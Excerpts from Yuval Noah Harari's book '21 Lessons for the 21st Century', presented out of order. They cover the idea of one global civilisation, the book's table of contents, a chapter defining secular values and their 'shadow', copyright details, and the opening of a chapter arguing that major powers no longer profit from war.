Today, if you happen to be sick, it makes much less difference where you live. In Toronto, Tokyo, Tehran or Tel Aviv, you will be taken to similar-looking hospitals, where you will meet doctors in white coats who learned the same scientific theories in the same medical colleges. They will follow identical protocols and use identical tests to reach very similar diagnoses. They will then dispense the same medicines produced by the same international drug companies. There are still some minor cultural differences, but Canadian, Japanese, Iranian and Israeli physicians hold much the same views about the human body and human diseases. After the Islamic State captured Raqqa and Mosul, it did not tear down the local hospitals. Rather, it launched an appeal to Muslim doctors and nurses throughout the world to volunteer their services there.15 Presumably, even Islamist doctors and nurses believe that the body is made of cells, that diseases are caused by pathogens, and that antibiotics kill bacteria.
And what makes up these cells and bacteria? Indeed, what makes up the entire world? A thousand years ago every culture had its own story about the universe, and about the fundamental ingredients of the cosmic soup. Today, learned people throughout the world believe exactly the same things about matter, energy, time and space. Take for example the Iranian and North Korean nuclear programmes. The whole problem is that the Iranians and North Koreans have exactly the same view of physics as the Israelis and Americans. If the Iranians and North Koreans believed that E = mc⁴, Israel and the USA would not care an iota about their nuclear programmes.
People still have different religions and national identities. But when it comes to the practical stuff – how to build a state, an economy, a hospital, or a bomb – almost all of us belong to the same civilisation. There are disagreements, no doubt, but then all civilisations have their internal disputes. Indeed, they are defined by these disputes. When trying to outline their identity, people often make a grocery list of common traits. That’s a mistake. They would fare much better if they made a list of common conflicts and dilemmas. For example, in 1618 Europe didn’t have a single religious identity – it was defined by religious conflict. To be a European in 1618 meant to obsess about tiny doctrinal differences between Catholics and Protestants or between Calvinists and Lutherans, and to be willing to kill and be killed because of these differences. If a human being in 1618 did not care about these conflicts, that person was perhaps a Turk or a Hindu, but definitely not a European.
Similarly in 1940 Britain and Germany had very different political values, yet they were both part and parcel of ‘European Civilisation’. Hitler wasn’t less European than Churchill. Rather, the very struggle between them defined what it meant to be European at that particular juncture in history. In contrast, a !Kung hunter-gatherer in 1940 wasn’t European because the internal European clash about race and empire would have made little sense to him.
The people we fight most often are our own family members. Identity is defined by conflicts and dilemmas more than by agreements. What does it mean to be European in 2018? It doesn’t mean to have white skin, to believe in Jesus Christ, or to uphold liberty. Rather, it means to argue vehemently about immigration, about the EU, and about the limits of capitalism. It also means to obsessively ask yourself ‘what defines my identity?’ and to worry about an ageing population, about rampant consumerism and about global warming. In their conflicts and dilemmas, twenty-first-century Europeans are different from their ancestors in 1618 and 1940, but are increasingly similar to their Chinese and Indian trade partners.
Whatever changes await us in the future, they are likely to involve a fraternal struggle within a single civilisation rather than a clash between alien civilisations. The big challenges of the twenty-first century will be global in nature. What will happen when climate change triggers ecological catastrophes? What will happen when computers outperform humans in more and more tasks, and replace them in an increasing number of jobs? What will happen when biotechnology enables us to upgrade humans and extend lifespans? No doubt, we will have huge arguments and bitter conflicts over these questions. But these arguments and conflicts are unlikely to isolate us from one another. Just the opposite. They will make us ever more interdependent. Though humankind is very far from constituting a harmonious community, we are all members of a single rowdy global civilisation.
How, then, to explain the nationalistic wave sweeping over much of the world? Perhaps in our enthusiasm for globalisation, we have been too quick to dismiss the good old nations? Might a return to traditional nationalism be the solution to our desperate global crises? If globalisation brings with it so many problems – why not just abandon it?
About the Book
About the Author
Also by Yuval Noah Harari
Title Page
Part I: The Technological Challenge
1. Disillusionment: The end of history has been postponed
2. Work: When you grow up, you might not have a job
3. Liberty: Big Data is watching you
4. Equality: Those who own the data own the future
Part II: The Political Challenge
5. Community: Humans have bodies
6. Civilisation: There is just one civilisation in the world
7. Nationalism: Global problems need global answers
8. Religion: God now serves the nation
9. Immigration: Some cultures might be better than others
Part III: Despair and Hope
10. Terrorism: Don’t panic
11. War: Never underestimate human stupidity
12. Humility: You are not the centre of the world
13. God: Don’t take the name of God in vain
14. Secularism: Acknowledge your shadow
Part IV: Truth
15. Ignorance: You know less than you think
16. Justice: Our sense of justice might be out of date
17. Post-Truth: Some fake news lasts for ever
18. Science Fiction: The future is not what you see in the movies
Part V: Resilience
19. Education: Change is the only constant
20. Meaning: Life is not a story
21. Meditation: Just observe
Acknowledge your shadow
What does it mean to be secular? Secularism is sometimes defined as the negation of religion, and secular people are therefore characterised by what they don’t believe and do. According to this definition, secular people do not believe in any gods or angels, do not go to churches and temples, and do not perform rites and rituals. As such, the secular world appears to be hollow, nihilistic and amoral – an empty box waiting to be filled with something.
Few people would adopt such a negative identity. Self-professing secularists view secularism in a very different way. For them, secularism is a very positive and active world view, which is defined by a coherent code of values rather than by opposition to this or that religion. Indeed, many of the secular values are shared by various religious traditions. Unlike some sects that insist they have a monopoly over all wisdom and goodness, one of the chief characteristics of secular people is that they claim no such monopoly. They don’t think that morality and wisdom came down from heaven in one particular place and time. Rather, morality and wisdom are the natural legacy of all humans. So it is only to be expected that at least some values would pop up in human societies all over the world, and would be common to Muslims, Christians, Hindus and atheists.
Religious leaders often present their followers with a stark either/or choice – either you are Muslim, or you are not. And if you are Muslim, you should reject all other doctrines. In contrast, secular people are comfortable with multiple hybrid identities. As far as secularism is concerned, you can go on calling yourself a Muslim and continuing to pray to Allah, eat halal food and make the haj to Mecca – yet also be a good member of secular society, provided you adhere to the secular ethical code. This ethical code – which is indeed accepted by millions of Muslims, Christians and Hindus as well as by atheists – enshrines the values of truth, compassion, equality, freedom, courage and responsibility. It forms the foundation of modern scientific and democratic institutions.
Like all ethical codes, the secular code is an ideal to aspire to rather than a social reality. Just as Christian societies and Christian institutions often deviate from the Christian ideal, so too secular societies and institutions often fall far short of the secular ideal. Medieval France was a self-proclaimed Christian kingdom, but it dabbled in all kinds of not-very-Christian activities (just ask the downtrodden peasantry). Modern France is a self-proclaimed secular state, but from the days of Robespierre onwards it took some troubling liberties with the very definition of liberty (just ask women). That does not mean that secular people – in France or elsewhere – lack a moral compass or an ethical commitment. It just means that it is not easy to live up to an ideal.
The secular ideal
What then is the secular ideal? The most important secular commitment is to the truth, which is based on observation and evidence rather than on mere faith. Seculars strive not to confuse truth with belief. If you have a very strong belief in some story, that may tell us a lot of interesting things about your psychology, about your childhood, and about your brain structure – but it does not prove that the story is true. (Often, strong beliefs are needed precisely when the story isn’t true.)
In addition, seculars do not sanctify any group, any person or any book as if it and it alone has sole custody of the truth. Instead, secular people sanctify the truth wherever it may reveal itself – in ancient fossilised bones, in images of far-off galaxies, in tables of statistical data, or in the writings of various human traditions. This commitment to the truth underlies modern science, which has enabled humankind to split the atom, decipher the genome, track the evolution of life, and understand the history of humanity itself.
The other chief commitment of secular people is to compassion. Secular ethics relies not on obeying the edicts of this or that god, but rather on a deep appreciation of suffering. For example, secular people abstain from murder not because some ancient book forbids it, but because killing inflicts immense suffering on sentient beings. There is something deeply troubling and dangerous about people who avoid killing just because ‘God says so’. Such people are motivated by obedience rather than compassion, and what will they do if they come to believe that their god commands them to kill heretics, witches, adulterers or foreigners?
Of course, in the absence of absolute divine commandments, secular ethics often faces difficult dilemmas. What happens when the same action hurts one person but helps another? Is it ethical to levy high taxes on the rich in order to help the poor? To wage a bloody war in order to remove a brutal dictator? To allow an unlimited number of refugees into our country? When secular people encounter such dilemmas, they do not ask ‘What does God command?’ Rather, they weigh carefully the feelings of all concerned parties, examine a wide range of observations and possibilities, and search for a middle path that will cause as little harm as possible.
Consider, for example, attitudes to sexuality. How do secular people decide whether to endorse or oppose rape, homosexuality, bestiality and incest? By examining feelings. Rape is obviously unethical, not because it breaks some divine commandment, but because it hurts people. In contrast, a loving relationship between two men harms no one, so there is no reason to forbid it.
What then about bestiality? I have participated in numerous private and public debates about gay marriage, and all too often some wise guy asks ‘If marriage between two men is OK, why not allow marriage between a man and a goat?’ From a secular perspective the answer is obvious. Healthy relationships require emotional, intellectual and even spiritual depth. A marriage lacking such depth will make you frustrated, lonely and psychologically stunted. Whereas two men can certainly satisfy the emotional, intellectual and spiritual needs of one another, a relationship with a goat cannot. Hence if you see marriage as an institution aimed at promoting human well-being – as secular people do – you would not dream of even raising such a bizarre question. Only people who see marriage as some kind of miraculous ritual might do so.
So how about relations between a father and his daughter? Both are humans, so what’s wrong with that? Well, numerous psychological studies have demonstrated that such relations inflict immense and usually irreparable harm on the child. In addition, they reflect and intensify destructive tendencies in the parent. Evolution has shaped the Sapiens psyche in such a way that romantic bonds just don’t mix well with parental bonds. Therefore you don’t need God or the Bible to oppose incest – you just need to read the relevant psychological studies.1
This is the deep reason why secular people cherish scientific truth. Not in order to satisfy their curiosity, but in order to know how best to reduce the suffering in the world. Without the guidance of scientific studies, our compassion is often blind.
The twin commitments to truth and compassion result also in a commitment to equality. Though opinions differ regarding questions of economic and political equality, secular people are fundamentally suspicious of all a priori hierarchies. Suffering is suffering, no matter who experiences it; and knowledge is knowledge, no matter who discovers it. Privileging the experiences or the discoveries of a particular nation, class or gender is likely to make us both callous and ignorant. Secular people are certainly proud of the uniqueness of their particular nation, country and culture – but they don’t confuse ‘uniqueness’ with ‘superiority’. Hence though secular people acknowledge their special duties towards their nation and their country, they don’t think these duties are exclusive, and they simultaneously acknowledge their duties towards humanity as a whole.
We cannot search for the truth and for the way out of suffering without the freedom to think, investigate, and experiment. Secular people cherish freedom, and refrain from investing supreme authority in any text, institution or leader as the ultimate judge of what’s true and what’s right. Humans should always retain the freedom to doubt, to check again, to hear a second opinion, to try a different path. Secular people admire Galileo Galilei who dared to question whether the earth really sits motionless at the centre of the universe; they admire the masses of common people who stormed the Bastille in 1789 and brought down the despotic regime of Louis XVI; and they admire Rosa Parks who had the courage to sit down on a bus seat reserved for white passengers only.
Finally, secular people cherish responsibility. They don’t believe in any higher power that takes care of the world, punishes the wicked, rewards the just, and protects us from famine, plague or war. We flesh-and-blood mortals must take full responsibility for whatever we do – or don’t do. If the world is full of misery, it is our duty to find solutions. Secular people take pride in the immense achievements of modern societies, such as curing epidemics, feeding the hungry, and bringing peace to large parts of the world. We need not credit any divine protector with these achievements – they resulted from humans developing their own knowledge and compassion. Yet for exactly the same reason, we need to take full responsibility for the crimes and failings of modernity, from genocides to ecological degradation. Instead of praying for miracles, we need to ask what we can do to help.
These are the chief values of the secular world. As noted earlier, none of these values is exclusively secular. Jews also value the truth, Christians value compassion, Muslims value equality, Hindus value responsibility, and so forth. Secular societies and institutions are happy to acknowledge these links and to embrace religious Jews, Christians, Muslims and Hindus, provided that when the secular code collides with religious doctrine, the latter gives way. For example, to be accepted into secular society, Orthodox Jews are expected to treat non-Jews as their equals, Christians should avoid burning heretics at the stake, Muslims must respect freedom of expression, and Hindus ought to relinquish caste-based discrimination.
In contrast, there is no expectation that religious people should deny God or abandon traditional rites and rituals. The secular world judges people on the basis of their behaviour rather than of their favourite clothes and ceremonies. A person can follow the most bizarre sectarian dress code and practise the strangest of religious ceremonies, yet act out of a deep commitment to the core secular values. There are plenty of Jewish scientists, Christian environmentalists, Muslim feminists and Hindu human-rights activists. If they are loyal to scientific truth, to compassion, to equality and to freedom, they are full members of the secular world, and there is absolutely no reason to demand that they take off their yarmulkes, crosses, hijabs or tilakas.
For similar reasons, secular education does not mean a negative indoctrination that teaches kids not to believe in God and not to take part in any religious ceremonies. Rather, secular education teaches children to distinguish truth from belief; to develop their compassion for all suffering beings; to appreciate the wisdom and experiences of all the earth’s denizens; to think freely without fearing the unknown; and to take responsibility for their actions and for the world as a whole.
Was Stalin secular?
It is therefore groundless to criticise secularism for lacking ethical commitments or social responsibilities. In fact, the main problem with secularism is just the opposite. It probably sets the ethical bar too high. Most people just cannot live up to such a demanding code, and large societies cannot be run on the basis of the open-ended quest for truth and compassion. Especially in times of emergency – such as war or economic crisis – societies must act promptly and forcefully, even if they are not sure what is the truth and what is the most compassionate thing to do. They need clear guidelines, catchy slogans and inspiring battle cries. Since it is difficult to send soldiers into battle or impose radical economic reforms in the name of doubtful conjectures, secular movements repeatedly mutate into dogmatic creeds.
For example, Karl Marx began by claiming that all religions were oppressive frauds, and he encouraged his followers to investigate for themselves the true nature of the global order. In the following decades the pressures of revolution and war hardened Marxism, and by the time of Stalin the official line of the Soviet Communist Party said that the global order was too complicated for ordinary people to understand, hence it was best always to trust the wisdom of the party and do whatever it told you to do, even when it orchestrated the imprisonment and extermination of tens of millions of innocent people. It may look ugly, but as party ideologues never got tired of explaining, revolution isn’t a picnic, and if you want an omelette you need to break a few eggs.
Whether one should view Stalin as a secular leader is therefore a matter of how we define secularism. If we use the minimalist negative definition – ‘secular people don’t believe in God’ – then Stalin was definitely secular. If we use a positive definition – ‘secular people reject all unscientific dogmas and are committed to truth, compassion and freedom’ – then Marx was a secular luminary, but Stalin was anything but. He was the prophet of the godless but extremely dogmatic religion of Stalinism.
Stalinism is not an isolated example. On the other side of the political spectrum, capitalism too began as a very open-minded scientific theory, but gradually solidified into a dogma. Many capitalists keep repeating the mantra of free markets and economic growth, irrespective of realities on the ground. No matter what awful consequences occasionally result from modernisation, industrialisation or privatisation, capitalist true-believers dismiss them as mere ‘growing pains’, and promise that everything will be made good through a bit more growth.
Middle-of-the-road liberal democrats have been more loyal to the secular pursuit of truth and compassion, but even they sometimes abandon it in favour of comforting dogmas. Thus when confronted by the mess of brutal dictatorships and failed states, liberals often put their unquestioning faith in the awesome ritual of general elections. They fight wars and spend billions in places such as Iraq, Afghanistan and the Congo in the firm belief that holding general elections will magically turn these places into sunnier versions of Denmark. This despite repeated failures, and despite the fact that even in places with an established tradition of general elections these rituals occasionally bring to power authoritarian populists, and result in nothing grander than majority dictatorships. If you try to question the alleged wisdom of general elections, you won’t be sent to the gulag, but you are likely to get a very cold shower of dogmatic abuse.
Of course, not all dogmas are equally harmful. Just as some religious beliefs have benefited humanity, so also have some secular dogmas. This is particularly true of the doctrine of human rights. The only place rights exist is in the stories humans invent and tell one another. These stories were enshrined as a self-evident dogma during the struggle against religious bigotry and autocratic governments. Though it isn’t true that humans have a natural right to life or liberty, belief in this story curbed the power of authoritarian regimes, protected minorities from harm, and safeguarded billions from the worst consequences of poverty and violence. It thereby contributed to the happiness and welfare of humanity probably more than any other doctrine in history.
Yet it is still a dogma. Thus article 19 of the United Nations Declaration of Human Rights says that ‘Everyone has the right to freedom of opinion and expression’. If we understand this is a political demand (‘everyone should have the right to freedom of opinion’), this is perfectly sensible. But if we believe that each and every Sapiens is naturally endowed with a ‘right to freedom of opinion’, and that censorship therefore violates some law of nature, we miss the truth about humanity. As long as you define yourself as ‘an individual possessing inalienable natural rights’, you will not know who you really are, and you will not understand the historical forces that shaped your society and your own mind (including your belief in ‘natural rights’).
Such ignorance perhaps mattered little in the twentieth century, when people were busy fighting Hitler and Stalin. But it might become fatal in the twenty-first century, because biotechnology and artificial intelligence now seek to change the very meaning of humanity. If we are committed to the right to life, does that imply we should use biotechnology to overcome death? If we are committed to the right to liberty, should we empower algorithms that decipher and fulfil our hidden desires? If all humans enjoy equal human rights, do superhumans enjoy super-rights? Secular people will find it difficult to engage with such questions as long as they are committed to a dogmatic belief in ‘human rights’.
The dogma of human rights was shaped in previous centuries as a weapon against the Inquisition, the ancien régime, the Nazis and the KKK. It is hardly equipped to deal with superhumans, cyborgs and super-intelligent computers. While human rights movements have developed a very impressive arsenal of arguments and defences against religious biases and human tyrants, this arsenal hardly protects us against consumerist excesses and technological utopias.
Acknowledging the shadow
Secularism should not be equated with Stalinist dogmatism or with the bitter fruits of Western imperialism and runaway industrialisation. Yet it cannot shirk all responsibility for them, either. Secular movements and scientific institutions have mesmerised billions with promises to perfect humanity and to utilise the bounty of planet Earth for the benefit of our species. Such promises resulted not just in overcoming plagues and famines, but also in gulags and melting ice caps. You might well argue that this is all the fault of people misunderstanding and distorting the core secular ideals and the true facts of science. And you are absolutely right. But that is a common problem for all influential movements.
For example, Christianity has been responsible for great crimes such as the Inquisition, the Crusades, the oppression of native cultures across the world, and the disempowerment of women. A Christian might take offence at this and retort that all these crimes resulted from a complete misunderstanding of Christianity. Jesus preached only love, and the Inquisition was based on a horrific distortion of his teachings. We can sympathise with this claim, but it would be a mistake to let Christianity off the hook so easily. Christians appalled by the Inquisition and by the Crusades cannot just wash their hands of these atrocities – they should rather ask themselves some very tough questions. How exactly did their ‘religion of love’ allow itself to be distorted in such a way, and not once, but numerous times? Protestants who try to blame it all on Catholic fanaticism are advised to read a book about the behaviour of Protestant colonists in Ireland or in North America. Similarly, Marxists should ask themselves what it was about the teachings of Marx that paved the way to the Gulag, scientists should consider how the scientific project lent itself so easily to destabilising the global ecosystem, and geneticists in particular should take warning from the way the Nazis hijacked Darwinian theories.
Every religion, ideology and creed has its shadow, and no matter which creed you follow you should acknowledge your shadow and avoid the naïve reassurance that ‘it cannot happen to us’. Secular science has at least one big advantage over most traditional religions, namely that it is not terrified of its shadow, and it is in principle willing to admit its mistakes and blind spots. If you believe in an absolute truth revealed by a transcendent power, you cannot allow yourself to admit any error – for that would nullify your whole story. But if you believe in a quest for truth by fallible humans, admitting blunders is an inherent part of the game.
This is also why undogmatic secular movements tend to make relatively modest promises. Aware of their imperfections, they hope to effect small incremental changes, raising the minimum wage by a few dollars or reducing child mortality by a few percentage points. It is the mark of dogmatic ideologies that due to their excessive self-confidence they routinely vow the impossible. Their leaders speak all too freely about ‘eternity’, ‘purity’ and ‘redemption’, as if by enacting some law, building some temple, or conquering some piece of territory they could save the entire world in one grand gesture.
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Copyright © Yuval Noah Harari 2018
Cover painting from the series We Share Our Chemistry with the Stars, Marc Quinn, oil on canvas, © and courtesy Marc Quinn studio
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Yuval Noah Harari has asserted his right to be identified as the author of this Work in accordance with the Copyright, Designs and Patents Act 1988
First published by Jonathan Cape in 2018
Never underestimate human stupidity
The last few decades have been the most peaceful era in human history. Whereas in early agricultural societies human violence caused up to 15 per cent of all human deaths, and in the twentieth century it caused 5 per cent, today it is responsible for only 1 per cent.1 Yet since the global financial crisis of 2008 the international situation is rapidly deteriorating, warmongering is back in vogue, and military expenditure is ballooning.2 Both laypeople and experts fear that just as in 1914 the murder of an Austrian archduke sparked the First World War, so in 2018 some incident in the Syrian desert or an unwise move in the Korean peninsula might ignite a global conflict.
Given the growing tensions in the world, and the personalities of leaders in Washington, Pyongyang and several other places, there is definitely cause for concern. Yet there are several key differences between 2018 and 1914. In particular, in 1914 war had great appeal to elites across the world because they had many concrete examples of how successful wars contributed to economic prosperity and political power. In contrast, in 2018 successful wars seem to be an endangered species.
From the days of the Assyrians and the Qin, great empires were usually built through violent conquest. In 1914 too, all the major powers owed their status to successful wars. For instance, Imperial Japan became a regional power thanks to its victories over China and Russia; Germany became Europe’s top dog after its triumphs over Austria-Hungary and France; and Britain created the world’s largest and most prosperous empire through a series of splendid little wars all over the planet. Thus in 1882 Britain invaded and occupied Egypt, losing a mere fifty-seven soldiers in the decisive Battle of Tel el-Kebir.3 Whereas in our days occupying a Muslim country is the stuff of Western nightmares, following Tel el-Kebir the British faced little armed resistance, and for more than six decades controlled the Nile Valley and the vital Suez Canal. Other European powers emulated the British, and whenever governments in Paris, Rome or Brussels contemplated putting boots on the ground in Vietnam, Libya or Congo, their only fear was that somebody else might get there first.
Even the United States owed its great-power status to military action rather than economic enterprise alone. In 1846 it invaded Mexico, and conquered California, Nevada, Utah, Arizona, New Mexico and parts of Colorado, Kansas, Wyoming and Oklahoma. The peace treaty also confirmed the previous US annexation of Texas. About 13,000 American soldiers died in the war, which added 2.3 million square kilometres to the United States (more than the combined size of France, Britain, Germany, Spain and Italy).4 It was the bargain of the millennium.
In 1914 the elites in Washington, London and Berlin knew exactly what a successful war looked like, and how much could be gained from it. In contrast, in 2018 global elites have good reason to suspect that this type of war might have become extinct. Though some Third World dictators and non-state actors still manage to flourish through war, it seems that major powers no longer know how to do so.
The greatest victory in living memory – of the United States over the Soviet Union – was achieved without any major military confrontation. The United States then got a fleeting taste of old-fashioned military glory in the First Gulf War, but this only tempted it to waste trillions on humiliating military fiascos in Iraq and Afghanistan. China, the rising power of the early twenty-first century, has assiduously avoided all armed conflicts since its failed invasion of Vietnam in 1979, and it owes its ascent strictly to economic factors. In this it has emulated not the Japanese, German and Italian empires of the pre-1914 era, but rather the Japanese, German and Italian economic miracles of the post-1945 era. In all these cases economic prosperity and geopolitical clout were achieved without firing a shot.
Even in the Middle East – the fighting ring of the world – regional powers don’t know how to wage successful wars. Iran gained nothing from the long bloodbath of the Iran–Iraq War, and subsequently avoided all direct military confrontations. The Iranians finance and arm local movements from Iraq to Yemen, and have sent their Revolutionary Guards to help their allies in Syria and Lebanon, but so far they have been careful not to invade any country. Iran has recently become the regional hegemon not by dint of any brilliant battlefield victory, but rather by default. Its two main enemies – the USA and Iraq – got embroiled in a war that destroyed both Iraq and the American appetite for Middle Eastern quagmires, thereby leaving Iran to enjoy the spoils.
Much the same can be said of Israel. Its last successful war was waged in 1967. Since then Israel prospered despite its many wars, not thanks to them. Most of its occupied territories saddle it with heavy economic burdens and crippling political liabilities. Much like Iran, Israel has lately improved its geopolitical position not by waging successful wars, but by avoiding military adventures. While war has ravaged Israel’s erstwhile enemies in Iraq, Syria and Libya, Israel has remained aloof. Not getting sucked into the Syrian civil war has arguably been Netanyahu’s greatest political achievement (as of March 2018). If it wanted to, the Israel Defense Forces could have seized Damascus within a week, but what would Israel have gained from that? It would be even easier for the IDF to conquer Gaza and topple the Hamas regime, but Israel has repeatedly declined to do so. For all its military prowess and for all the hawkish rhetoric of Israeli politicians, Israel knows there is little to be won from war. Like the USA, China, Germany, Japan and Iran, Israel seems to understand that in the twenty-first century the most successful strategy is to sit on the fence and let others do the fighting for you.
The view from the Kremlin
So far the only successful invasion mounted by a major power in the twenty-first century has been the Russian conquest of Crimea. In February 2014 Russian forces invaded neighbouring Ukraine and occupied the Crimean peninsula, which was subsequently annexed to Russia. With hardly any fighting, Russia gained strategically vital territory, struck fear into its neighbours, and re-established itself as a world power. However, the conquest succeeded thanks to an extraordinary set of circumstances. Neither the Ukrainian army nor the local population showed much resistance to the Russians, while other powers refrained from directly intervening in the crisis. These circumstances will be hard to reproduce elsewhere around the world. If the precondition for a successful war is the absence of enemies willing to resist the aggressor, it seriously limits the available opportunities.
Indeed, when Russia sought to reproduce its Crimean success in other parts of Ukraine, it encountered substantially stiffer opposition, and the war in eastern Ukraine bogged down into unproductive stalemate. Even worse (from Moscow’s perspective), the war has stoked anti-Russian feelings in Ukraine and turned that country from an ally into a sworn enemy. Just as success in the First Gulf War tempted the USA to overreach itself in Iraq, success in Crimea may have tempted Russia to overreach itself in Ukraine.
Taken together, Russia’s wars in the Caucasus and Ukraine in the early twenty-first century can hardly be described as very successful. Though they have boosted Russia’s prestige as a great power, they have also increased distrust and animosity towards Russia, and in economic terms they have been a losing enterprise. Tourist resorts in Crimea and decrepit Soviet-era factories in Luhansk and Donetsk hardly balance the price of financing the war, and they certainly do not offset the costs of capital flight and international sanctions. To realise the limitations of the Russian policy, one just needs to compare the immense economic progress of peaceful China in the last twenty years to the economic stagnation of ‘victorious’ Russia during the same period.5
The brave talk from Moscow notwithstanding, the Russian elite itself is probably well aware of the real costs and benefits of its military adventures, which is why it has so far been very careful not to escalate them. Russia has been following the playground-bully principle: ‘pick on the weakest kid, and don’t beat him up too much, lest the teacher intervenes’. If Putin had conducted his wars in the spirit of Stalin, Peter the Great or Genghis Khan, then Russian tanks would have long ago made a dash for Tbilisi and Kyiv, if not for Warsaw and Berlin. But Putin is neither Genghis nor Stalin. He seems to know better than anyone else that military power cannot go far in the twenty-first century, and that waging a successful war means waging a limited war. Even in Syria, despite the ruthlessness of Russian aerial bombardments, Putin has been careful to minimise the Russian footprint, to let others do all the serious fighting, and to prevent the war from spilling over into neighbouring countries.
Indeed, from Russia’s perspective, all its supposedly aggressive moves in recent years were not the opening gambits of a new global war, but rather an attempt to shore up exposed defences. Russians can justifiably point out that after their peaceful retreats in the late 1980s and early 1990s they were treated like a defeated enemy. The USA and NATO took advantage of Russian weakness, and despite promises to the contrary, expanded NATO to eastern Europe and even to some former Soviet republics. The West went on to ignore Russian interests in the Middle East, invaded Serbia and Iraq on doubtful pretexts, and generally made it very clear to Russia that it can count only on its own military power to protect its sphere of influence from Western incursions. From this perspective, recent Russian military moves can be blamed on Bill Clinton and George W. Bush as much as on Vladimir Putin.
Of course, Russian military actions in Georgia, Ukraine and Syria may yet turn out to be the opening salvoes of a far bolder imperial drive. Even if so far Putin has not harboured serious plans for global conquests, success might fan his ambitions. However, it would also be well to remember that Putin’s Russia is far weaker than Stalin’s USSR, and unless it is joined by other countries such as China, it cannot support a new Cold War, let alone a full-blown world war. Russia has a population of 150 million people and a GDP of $4 trillion. In both population and production it is dwarfed by the USA (325 million people and $19 trillion) and the European Union (500 million people and $21 trillion).6 Together, the USA and EU have five times more people than Russia, and ten times more dollars.
Recent technological developments have made this gap even bigger than it seems. The USSR reached its zenith in the mid twentieth century, when heavy industry was the locomotive of the global economy, and the Soviet centralised system excelled in the mass production of tractors, trucks, tanks and intercontinental missiles. Today, information technology and biotechnology are more important than heavy industry, but Russia excels in neither. Though it has impressive cyberwarfare capabilities, it lacks a civilian IT sector, and its economy relies overwhelmingly on natural resources, particularly oil and gas. This may be good enough to enrich a few oligarchs and keep Putin in power, but it is not enough to win a digital or biotechnological arms race.
Even more importantly, Putin’s Russia lacks a universal ideology. During the Cold War the USSR relied on the global appeal of communism as much as on the global reach of the Red Army. Putinism, in contrast, has little to offer Cubans, Vietnamese or French intellectuals. Authoritarian nationalism may indeed be spreading in the world, but by its very nature it is not conducive to the establishment of cohesive international blocs. Whereas Polish communism and Russian communism were both committed, at least in theory, to the universal interests of an international working class, Polish nationalism and Russian nationalism are by definition committed to opposing interests. As Putin’s rise sparks an upsurge of Polish nationalism, this will only make Poland more anti-Russian than before.
Though Russia has embarked on a global campaign of disinformation and subversion that aims to break up NATO and the EU, it does not seem likely that it is about to embark on a global campaign of physical conquest. One can hope – with some justification – that the takeover of Crimea and the Russian incursions in Georgia and eastern Ukraine will remain isolated examples rather than harbingers of a new era of war.
The lost art of winning wars
Why is it so difficult for major powers to wage successful wars in the twenty-first century? One reason is the change in the nature of the economy. In the past, economic assets were mostly material, so it was relatively straightforward to enrich yourself by conquest. If you defeated your enemies on the battlefield, you could cash in by looting their cities, selling their civilians in the slave markets, and occupying valuable wheat fields and gold mines. Romans prospered by selling captive Greeks and Gauls, and nineteenth-century Americans thrived by occupying the gold mines of California and the cattle ranches of Texas.
Yet in the twenty-first century only puny profits can be made that way. Today the main economic assets consist of technical and institutional knowledge rather than wheat fields, gold mines or even oil fields, and you just cannot conquer knowledge through war. An organisation such as the Islamic State may still flourish by looting cities and oil wells in the Middle East – they seized more than $500 million from Iraqi banks and in 2015 made an additional $500 million from selling oil7 – but for a major power such as China or the USA, these are trifling sums. With an annual GDP of more than $20 trillion, China is unlikely to start a war for a paltry billion. As for spending trillions of dollars on a war against the USA, how could China repay these expenses and balance all the war damages and lost trade opportunities? Would the victorious People’s Liberation Army loot the riches of Silicon Valley? True, corporations such as Apple, Facebook and Google are worth hundreds of billions of dollars, but you cannot seize these fortunes by force. There are no silicon mines in Silicon Valley.
A successful war could theoretically still bring huge profits by enabling the victor to rearrange the global trade system in its favour, as Britain did after its victory over Napoleon and as the USA did after its victory over Hitler. However, changes in military technology make it difficult to repeat this feat in the twenty-first century. The atom bomb has turned victory in a world war into collective suicide. It is no coincidence that ever since Hiroshima, superpowers never fought one another directly, and engaged only in what (for them) were low-stake conflicts, in which the temptation to use nuclear weapons to avert defeat was small. Indeed, even attacking a second-rate nuclear power such as North Korea is an extremely unattractive proposition. It is scary to think what the Kim family might do if it faces military defeat.
Cyberwarfare makes things even worse for would-be imperialists. In the good old days of Queen Victoria and the Maxim gun, the British army could massacre the fuzzy-wuzzies in some far-off desert without endangering the peace of Manchester and Birmingham. Even in the days of George W. Bush, the USA could wreak havoc in Baghdad and Fallujah while the Iraqis had no means of retaliating against San Francisco or Chicago. But if the USA now attacks a country possessing even moderate cyberwarfare capabilities, the war could be brought to California or Illinois within minutes. Malwares and logic bombs could stop air traffic in Dallas, cause trains to collide in Philadelphia, and bring down the electric grid in Michigan.
In the great age of conquerors warfare was a low-damage, high-profit affair. At the Battle of Hastings in 1066 William the Conqueror gained the whole of England in a single day for the cost of a few thousand dead. Nuclear weapons and cyberwarfare, by contrast, are high-damage, low-profit technologies. You could use such tools to destroy entire countries, but not to build profitable empires.
In a world filling up with sabre-rattling and bad vibes, perhaps our best guarantee of peace is that major powers aren’t familiar with recent examples of successful wars. While Genghis Khan or Julius Caesar would invade a foreign country at the drop of a hat, present-day nationalist leaders such as Erdogan, Modi and Netanyahu talk loud but are very careful about actually launching wars. Of course, if somebody does find a formula to wage successful wars under twenty-first-century conditions, the gates of hell might open with a rush. This is what makes the Russian success in Crimea a particularly frightening omen. Let’s hope it remains an exception.
The march of folly
Alas, even if wars remain an unprofitable business in the twenty-first century, that would not give us an absolute guarantee of peace. We should never underestimate human stupidity. Both on the personal and on the collective level, humans are prone to engage in self-destructive activities.
In 1939 war was probably a counterproductive move for the Axis powers – yet it did not save the world. One of the astounding things about the Second World War is that following the war the defeated powers prospered as never before. Twenty years after the complete annihilation of their armies and the utter collapse of their empires, Germans, Italians and Japanese were enjoying unprecedented levels of affluence. Why, then, did they go to war in the first place? Why did they inflict unnecessary death and destruction on countless millions? It was all just a stupid miscalculation. In the 1930s Japanese generals, admirals, economists and journalists concurred that without control of Korea, Manchuria and the Chinese coast, Japan was doomed to economic stagnation.8 They were all wrong. In fact, the famed Japanese economic miracle began only after Japan lost all its mainland conquests.
